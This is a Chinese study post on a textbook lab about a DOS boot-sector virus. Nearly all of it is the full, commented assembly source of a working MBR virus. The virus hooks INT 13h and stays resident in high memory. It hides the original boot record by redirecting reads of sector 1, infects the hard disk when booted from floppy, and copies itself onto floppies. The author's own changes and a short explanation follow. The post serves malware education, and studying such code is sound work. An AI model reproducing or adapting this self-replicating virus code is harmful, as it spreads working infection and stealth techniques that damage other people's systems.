DOS平台的病毒已经是过去时了,但是学习知识还得从简单学起。
今天就来研究一下DOS平台的引导型病毒,参考资料为刘功申老师编著的《计算机病毒及其防范技术》(第2版),以第一个实验为例。
实验环境:虚拟机
上代码先:
- ;bv.asm
- bv segment;定义段
- assume cs:bv,ds:bv,es:bv;声明段与寄存器的结合
- .286;处理机模式
- org 0000h;制定下一指令的偏移地址为0000h
- start:
- jmp short vir_init;下面两个字节用于保存中断向量,跳过
- magic equ 10ebh ;病毒感染判断标志
- oint13_ip dw ? ;存放正确的int 13中断向量
- oint13_cs dw ?
- reg_cx dw 4f0fh;正常的mbr的地址(表示79道15扇)
- ;在本实验中也相当于一个标记,用来判读是从软盘还是从硬盘启动
- ;没有别的作业,因为实验中用的虚拟软盘都没有存放引导记录的
- bootmessage db "*^_^*" ;病毒发作时,显示的内容
- clearmessage db " "
- vir_init:;病毒从这里开始执行
- ;初始化ds,ss,sp
- mov si, 7c00h;当前病毒所在的偏移地址
- cli;为确保堆栈操作正常,中断禁能
- xor bx, bx;bx清零
- mov ds,bx;0000为当前之段地址置入数据段寄存器ds中
- ;下面将堆栈放置在程序段的头部
- mov ss, bx;0000为当前之段地址置入ss中
- mov sp, si;7c00为当前程序段偏移地址置入sp中
- sti;中断置能
- push bx;0000:7c00h置入堆栈
- push si;为以后使用retf跳转到此执行做准备
- cld;清方向标志
- ;保存原int13h ip,cs
- mov ax, [bx+13h*04h];取int 13h的偏移地址
- mov ds:[si+offset oint13_ip], ax;放入本程序段前的预留空间中
- mov ax, [bx+13h*04h+02h];取int 13h的段地址
- mov ds:[si+offset oint13_cs], ax;放入预留空间中
- dec word ptr ds:[0413h];bios资料区的可用内存数减1k 减少可用内存数
- int 12h;取内存数,到ax
- shl ax, 06h;左移6位
- mov es, ax;放入es,求得病毒藏身驻留地区起始段地址
- ;(640-1)*(2^6) =40896
- push ax;段地址入栈
- push offset high_code;偏移地址入栈
- ;将自己移动到高地址,驻留内存,避免被覆盖,神奇
- ;开始将病毒的程序码搬移到1k高地址区
- mov cx, 0100h;置搬移数量
- xor di,di;置搬移目的地址的偏移地址(段地址es先前已放置)
- rep movsw;开始搬移256个字,也就是512个字节(一个扇区)
- retf;转到藏身区继续执行
- high_code:;以下的代码将在1k的驻留地区继续执行
- mov ax, cs ;重新设置 ds
- mov ds, ax
- call mainloop ;病毒的表现模块,在屏幕上显示一个*^_^*,并且不断移动,直到有键盘操作
- xor ax, ax;ax置零
- mov es, ax;ex置零
- int 13h;软驱复位 磁盘复位
- push cs;cs入栈
- pop ds;cs内容放入ds
- xor si, si;si置零
- ;下面开始寻找正常的启动记录
- mov ax, 0201h;调用磁盘服务,读取一个扇区
- mov bx, 7c00h;读取到0000:7c00h
- mov cx, ds:[si+offset reg_cx];将保存正常启动记录的地址取出
- ;病毒会将正常的引导记录存在:硬盘,0面0道2扇;软盘,1面79道15扇
- cmp cx, 0002h;比较看是不是0道2扇区
- jnz boot_fd;如果不是则一定是从软盘启动,此时需要传染硬盘
- ;如果是则一定从硬盘启动
- mov dx, 0080h;读硬盘0head
- int 13h;开始读取
- call near ptr install;调用子程序,安装病毒的int 13h
- retf;转到0000:7c00h开始执行正常的引导记录程序
- boot_fd:;从软盘引导
- mov dx, 0100h;读a驱动器1面
- int 13h ;这个在本实验中没有用,因为本实验中软盘中是没有正确的引导记录的,
- ;所以这个一段读的内容是无效的,也无法完成后面的启动,
- ;所以我增加了一个启动copy_boot
- jb boot_dos;如果读取失败转到boot_dos
- ;下面准备传染硬盘
- push cs
- pop es;cs值放入es
- mov ax, 0201h
- mov bx, 0200h
- mov cx, 0001h
- mov dx, 0080h
- int 13h;读硬盘0面0道1扇区之内容到病毒驻留区段并偏移512个字节,
- ;保存硬盘原来正确的MBR
- ;避免覆盖到病毒程序本身
- jb boot_dos;不成功则转到boot_dos
- cmp word ptr ds:[bx], magic;把读到的内容的第一个字取出与10ebh相比,10ebh是
- ;病毒程序第一条指令的机器码,如果比较结果相等,说明硬盘先前已传染,就不再次传染。
- ;这是感染病毒的标志
- jnz inf_hd;不相等,说明硬盘没有被传染,跳转到传染程序
- call near ptr copy_boot ;由于实验中的软盘没有正确引导记录,
- ;所以我增加了一段启动的代码
- call near ptr install;调用子程序,安装病毒的int 13h,病毒传染触发的条件
- retf;转到0000:7c00h开始执行正常的引导记录程序
- boot_dos:;执行失败,就跳转到此处
- int 18h;转到rom-basic执行
- inf_hd:;传染硬盘, 完成传染硬盘的过程
- ;先将刚才读到的正常引导记录保存道0道2扇,将正常的引导记录存放到硬盘0面0道2扇区
- inc cx;cx此时为1,为2
- mov ds:[si+offset reg_cx],cx;cx存放的是正常引导记录的位置(磁道;扇区)0道2扇
- mov ax, 0301h;写入一个扇区
- mov dx, 0080h;写入硬盘1的0面
- int 13h;开始写入
- jb boot_dos;不成功转到boot_dos
- ;准备替换引导扇区
- ;保留硬盘分区表
- ;如果省略此步骤,从软驱引导则无法进入硬盘,很危险。
- ;我觉得这段把引导扇区除MBR外剩余的信息复制到病毒代码后面的空位没什么用
- ;所以我注释了,编译链接之后做实验是没问题的
- ; mov cl, 21h;准备搬移33个字
- ; mov di, 01beh;从内存高端的03beh搬移到
- ; mov si, 03beh;内存高端的01beh,此处正是病毒程序的驻留区
- ; rep movsw;开始搬移
- mov ax, 0301h;准备向硬盘写入一个扇区 将病毒写到引导扇区0面0道1扇区
- xor bx, bx
- ; inc cx;cx置1
- mov cx, 1h
- int 13h;写入物理硬盘0面0道1扇区
- ; mov cx, 0100h;准备搬移一个扇区
- ; mov si, 0200h
- ; mov ax, 0
- ; mov es, ax
- ; mov di, 7c00h
- ; rep movsw;开始搬移
- call near ptr copy_boot
- call near ptr install;安装病毒的int 13h
- retf;转到0000:7c00h执行,正式从软盘启动
- install:;病毒int 13h的安装子程序
- push ax
- push ds
- xor ax, ax
- mov ds, ax
- mov ax, offset vint13h;病毒int 13h的偏移地址
- mov ds:[13h*04], ax;替换原int 13h的ip
- mov ax, cs;取得病毒的段地址
- mov ds:[13h*04h+02h], ax;替换原int 13h的cs
- pop ax
- pop ds
- ret
- copy_boot: ;将硬盘0面0道第2扇区复制到0000:7c00,
- ;被病毒感染的硬盘的MBR存放在0面0道2扇区,可以启动
- ;又由于实验中使用的软盘都是没有正确引导记录的,遂做修改,这样可以正常启动
- ;而如果软盘有正确引导记录的话,原来的程序是可以完成启动的
- mov ax, 0 ;将硬盘0面0道第2扇区的正确的MBR放到000:7c00处,完成启动
- mov es, ax
- mov ax, 0201h
- mov bx, 7c00h
- mov cx, 0002h
- mov dx, 0080h
- int 13h
- ret
- vint13h: ;病毒的int 13h,判读是否满足条件,感染软盘
- pushf
- cmp cx,0001h;是否对0道1扇区进行操作
- jz stealth;是则进入特殊处理程序stealth
- or dl,dl;是否操作a驱
- jnz vint13h_ext;不是则转到原始int 13h中断执行
- test al,01h;是否操作奇数个扇区(测试al的最低位)
- jnz vint13h_ext;不是则转到原始int 13h中断执行
- call inf_fd;调用传染软盘子程序
- vint13h_ext:;病毒int 13h到此结束
- popf;下面
- jmp dword ptr cs:oint13_ip;调用原始int 13h,开始正常处理
- stealth:;特殊处理部分,将对0面0道1扇区的操作改为2扇区的操作,
- ;因为正确的0面0道1扇区的内容是被保存在2扇区的
- cmp al,01h;是否操作一个扇区
- jnz vint13h_ext;不是则转到正常中断
- cmp dx,0080h;是否操作硬盘0面
- jnz vint13h_ext;不是则转到正常中断
- inc cx;对硬盘0面0道1扇区操作改为对2扇区的操作
- jmp short vint13h_ext;转到正常的中断服务程序
- inf_fd:;传染软盘子程序
- push ax
- push bx
- push cx
- push dx
- push di
- push si
- push ds
- push es
- push cs;置ds,es的值
- pop ds
- push cs
- pop es
- xor di,di;di置0
- mov si,0003h;si置3(表示读3次)
- read_again:
- mov ax,0201h
- mov bx,0200h
- mov cx,0001h
- xor dx,dx;读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h
- pushf ;手工完成原int 13h的调用
- call dword ptr ds:[di+offset oint13_ip]
- jnb read_succ;读取成功转read_succ处理
- ; xor ax,ax;否则软驱复位 ;这一段好像也是多余的,注释后,编译运行,没问题
- ; pushf
- ; call dword ptr ds:[di+offset oint13_ip]
- dec si;次数减1
- jnz read_again;不为0再次读取
- jmp short inf_ext;否则退出
- read_succ:;读取成功后,以vir_init处一个字的机器码为特征码进行比较
- ;判断软盘是否已经染毒,如果没有染毒,则进行传染
- cmp word ptr ds:[bx], magic
- jz inf_ext;已染毒,退出
- mov cx,4f0fh
- mov ds:[di+offset reg_cx],cx;存放正常的引导程序磁道号扇区号
- mov ax,0301h
- mov dh,01h;写入软盘1面79道15扇区
- pushf
- call dword ptr ds:[di+offset oint13_ip]
- jb inf_ext
- ;下面将驻留在内存中的病毒程序写入软盘的0面0到1扇区
- ;若没有中毒,则感染软盘,将病毒代码复制到软盘中,完成传染,也是手工调用int 13h
- mov ax,0301h
- xor bx,bx
- mov cx,0001h
- xor dx,dx
- pushf
- call dword ptr ds:[di+offset oint13_ip]
- inf_ext:;退出传染子程序
- pop es
- pop ds
- pop si
- pop di
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- col db 1 ;病毒的表现模块,在屏幕上显示一个*^_^*,并且不断移动,直到有键盘操作
- mainloop:
- nextloop:
- mov dl, col
- inc dl
- cmp dl, 63
- jnz doshow
- mov dl, 0
- doshow:
- mov col, dl
- call dispstr; 调用显示字符串例程
- mov cx, 0h
- ; waitstart: ;可能是通过循环多争取了一些时间,使字符显示在同一位置的时间更长
- ; loop waitstart ;注释后也没多大影响
- call clearstr
- mov ax,0100h ;取键盘缓冲区状态
- int 16h
- jz nextloop ;判断有无按键操作,
- ret
- ;调用10h中断将字符串打印到屏幕上
- dispstr:
- mov ax, cs
- mov es, ax
- mov ax, offset bootmessage
- mov bp, ax; es:bp = 串地址
- mov cx, 5; cx = 串长度
- mov ax, 01301h; ah = 13, al = 01h
- mov bx, 000ch; 页号为0(bh = 0) 黑底红字(bl = 0ch,高亮)
- mov dh, 5
- mov dl, col
- int 10h; 10h 号中断
- ret
- ;用空格清除上一次的输入
- clearstr:
- mov ax, cs
- mov es, ax
- mov ax, offset clearmessage
- mov bp, ax
- mov cx, 5
- mov ax, 01301h
- mov bx, 000ch
- mov dh, 5
- mov dl, col
- int 10h
- ret
- db (510-(($-start)mod 512)) dup(0); 以0填充剩余的字节,保证占有512个字节
- dw 0aa55h
- bv ends
- end start
引导型病毒将自己藏身在软盘的引导扇区,系统启动时,该病毒会被加载到内存中执行,即获得控制权,然后病毒减小可用内存数,将自己移动到高内存处继续执行,完成常驻内存,通过判断是从软盘启动还是从硬盘启动,从软盘启动则会感染硬盘,根据标志判断是否已被感染,未感染则将硬盘0面0道1扇区的内容复到0面0道2扇区,并且将病毒复制到0面0道1扇区,以实现从硬盘启动时的感染。病毒将int 13h替换,如果有Int 13h调用,判断是否软盘,如果是对软盘的操作,则感染软盘,通过标志判断软盘是否感染,如果没有,则将软盘的正确引导记录移动,然后用病毒自身去替换软盘引导记录,完成传染。
病毒发作时,只是在启动时显示字符串。
引导型病毒的杀毒请搜索。